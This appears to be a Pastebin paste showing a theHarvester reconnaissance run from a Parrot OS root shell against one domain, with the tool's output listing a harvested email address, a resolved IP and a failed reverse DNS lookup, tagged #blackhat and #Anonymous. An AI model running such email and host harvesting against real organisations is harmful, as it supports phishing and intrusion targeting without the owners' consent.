  2588. COLLECT ALL THE EMAIL WITH THEHARVESTER
  2589.  
  2590. ┌─[root@parrot]─[~]
  2591. └──╼ #theharvester -d vyxunbnbs.com -b all -n -c -t -l 50 -h
  2592.  
  2593. *******************************************************************
  2594. *                                                                 *
  2595. * | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
  2596. * | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
  2597. * | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
  2598. *  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
  2599. *                                                                 *
  2600. * TheHarvester Ver. 2.7                                           *
  2601. * Coded by Christian Martorella                                   *
  2602. * Edge-Security Research                                          *
  2603. * cmartorella@edge-security.com                                   *
  2604. *******************************************************************
  2605.  
  2606.  
  2607. Full harvest..
  2608. [-] Searching in Google..
  2609.     Searching 0 results...
  2610. [-] Searching in PGP Key server..
  2611. [-] Searching in Bing..
  2612.     Searching 50 results...
  2613. [-] Searching in Exalead..
  2614.     Searching 50 results...
  2615.     Searching 100 results...
  2616.  
  2617.  
  2618. [+] Emails found:
  2619. ------------------
  2620. pixel-146454504959172-web-@vyxunbnbs.com
  2621.  
  2622. [+] Hosts found in search engines:
  2623. ------------------------------------
  2624. [-] Resolving hostnames IPs...
  2625. 198.71.232.3:www.vyxunbnbs.com
  2626.  
  2627. [+] Starting active queries:
  2628. [-]Performing reverse lookup in :198.71.232.0/24
  2629. Error in DNS resolvers
  2630.  
  2631. DONE
  2632.  
  2633. #blackhat #Anonymous #GLOBAL
Tags: ParrotSec pentest redteam
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!